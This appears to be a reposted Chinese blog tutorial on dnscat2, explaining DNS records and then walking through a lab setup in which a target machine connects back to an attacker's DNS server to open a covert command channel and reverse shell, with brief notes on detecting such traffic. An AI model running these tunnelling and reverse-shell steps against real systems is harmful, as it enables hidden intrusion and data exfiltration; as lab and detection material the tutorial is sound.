zoukankan      html  css  js  c++  java
  • Dnscat2实现DNS隐蔽隧道反弹Shell

    DNS介绍

    DNS是域名系统(Domain Name System)的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
    DNS的记录类型有很多,有A,AAAA,CNAME,MX,SOA,NS等。
    DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。

    A记录:A记录是用来指定主机名对应的ip地址记录,简单的说A记录是指定域名对应的IP地址。
    
    AAAA记录:记录将域名解析到一个指定的ipv6的ip上
    
    CNAME记录,别名解析。可以将注册不同的域名解析到一个ip地址。
    
    NS记录:域名服务器记录,用来指定该域名是由哪个DNS服务器进行解析。
    
    MX记录:指向的是一个邮件服务器。
    
    TXT记录:一般是指某个主机名或域名的说明
    
    PTR记录:反向DNS
    

    DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。

    本地客户端---->Local DNS server---->根域服务器

    Dns解析过程:系统发出dns解析之前会先看看本地是否保存了相关域名的解析,系统检测到hosts文件中没有响应的域名解析的时候会发送给本地dns解析服务器进行解析,解析之前会看看缓存中是否存在,如果没有,再将解析请求发给下一个dns服务器。结果返回后将该域名的解析结果保存到缓存中。

    Dnscat2工具介绍

    Dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道。
    Dnscat2分为client端和server端,client运行在被控机器上,server运行在DNS服务器上。client,server部分分别是用C,ruby写的。其中作者在实现client部分时实现了跨平台,支持linux和windows编译运行。在完成连接建立后可以实现建立shell,上传下载文件等功能。
    Dnscat2工具下载

    Dnscat2环境搭建

    kali linux(服务端,攻击机) 192.168.2.101
    centos7 (客户端,靶机)192.168.2.102

    linux客户端搭建

    $ git clone https://github.com/iagox86/dnscat2
    $ cd dnscat2/client/
    $ make
    

    linux服务端搭建

    $ git clone https://github.com/iagox86/dnscat2.git
    $ cd dnscat2/server/
    $ gem install bundler
    $ apt-get install ruby-dev
    $ bundle install
    

    Dnscat2反弹shell

    1、首先在服务端运行,

    ruby /dnscat2.rb
    

    2、客户端运行,成功后会显示Session established!

    ./dnscat --dns server=192.168.2.101,port=53 --secret=706f8a6c1950ea305a82c9d6d873b958
    //./dnscat --dns server=xxxx(DNS服务器,kaili 2020 ip地址),port=53 --secret=706f8a6c1950ea305a82c9d6d873b958
    

    3、服务端会显示window created:1

    4、列出所有通道

    windows
    


    5、进入客户端1通道

    window -i 1
    //1表示客户端ID
    

    6、建立反弹shell

    shell
    

    7、退出当前通道,进入shell

    suspend //表示退出当前通道
    windows
    window -i 5
    //进入shell通道后,可按ctrl+z退出当前shell
    

    Dnscat2工具命令的使用

    help可查看控制台支持的命令,常用的有:

    • quit (退出控制台)
    • kill (中断通道)
    • set(设值,比如设置security=open)
    • windows(列举出所有的通道)
    • window -i (连接某个通道)
      连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):
    clear(清屏) delay(修改远程会话超时时间) exec(执行远程机上的程序) shell(得到一个反弹shell) download/upload(两端之间上传下载文件) supend(返回到上一层,等于快捷键ctrl+z)

    Dnscat2通信流量分析

    1、捕捉dnscat2通信的流量

    2、发现数据包中除了明显dnscat2之外,没有明显的攻击特征,都是加密过的

    3、主要特征,解析的域名过长,是因为3级域名中含有通信的数据

    参考链接

    CSDN-隧道工具-dnscat2

    声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

  • 相关阅读:
    paste DEMO合并文件
    diff 文件比较
    grep DEMO
    tr DEMO
    uniq DEMO
    sort DEMO
    定义提示符 PS1 PS4
    MAVEN修改localRepository不起作用
    java数组初始化
    oracle监听服务无法打开
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/13293078.html
Copyright © 2011-2022 走看看